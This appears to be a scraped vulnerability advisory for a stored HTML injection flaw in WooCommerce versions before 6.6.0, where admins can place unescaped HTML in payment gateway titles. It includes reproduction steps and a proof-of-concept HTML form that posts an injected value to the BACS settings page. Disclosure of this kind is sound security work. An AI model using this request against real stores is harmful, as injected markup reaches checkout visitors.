WooCommerce < 6.6.0 - Admin+ Stored HTML Injection

2022-06-2000:00:00

Taurus Omar

264

0.001 Low

EPSS

Percentile

25.0%

JSON

The plugin is vulnerable to stored HTML injection due to lack of escaping and sanitizing in the payment gateway titles

Go to WooCommerce -> Settings -> Payments tab, enable BAC (Bank Account Transfers) and edit the title in the setup dialog. HTML can be injected there, and will be rendered both for admins (in the admin panel) and visitors in the checkout screen.

<html>
<form action="http://example.com/wp-admin/admin.php?page=wc-settings&tab=checkout&section=bacs" method="POST">
<input class="input-text regular-input " type="text" name="woocommerce_bacs_title" id="woocommerce_bacs_title" style="" value="HTML INJECTION" placeholder="">

<p class="submit">
	<button name="save" class="button-primary woocommerce-save-button" type="submit" value="Save changes">Save changes</button>
	<input type="hidden" id="_wpnonce" name="_wpnonce" value="bfdcc984ec"><input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=wc-settings&amp;tab=checkout&amp;section=bacs">		</p>
    </form>
</html>

0.001 Low

EPSS

Percentile

25.0%

JSON

Related for WPEX-ID:0316E5F3-3302-40E3-8FF4-BE3423A3BE7B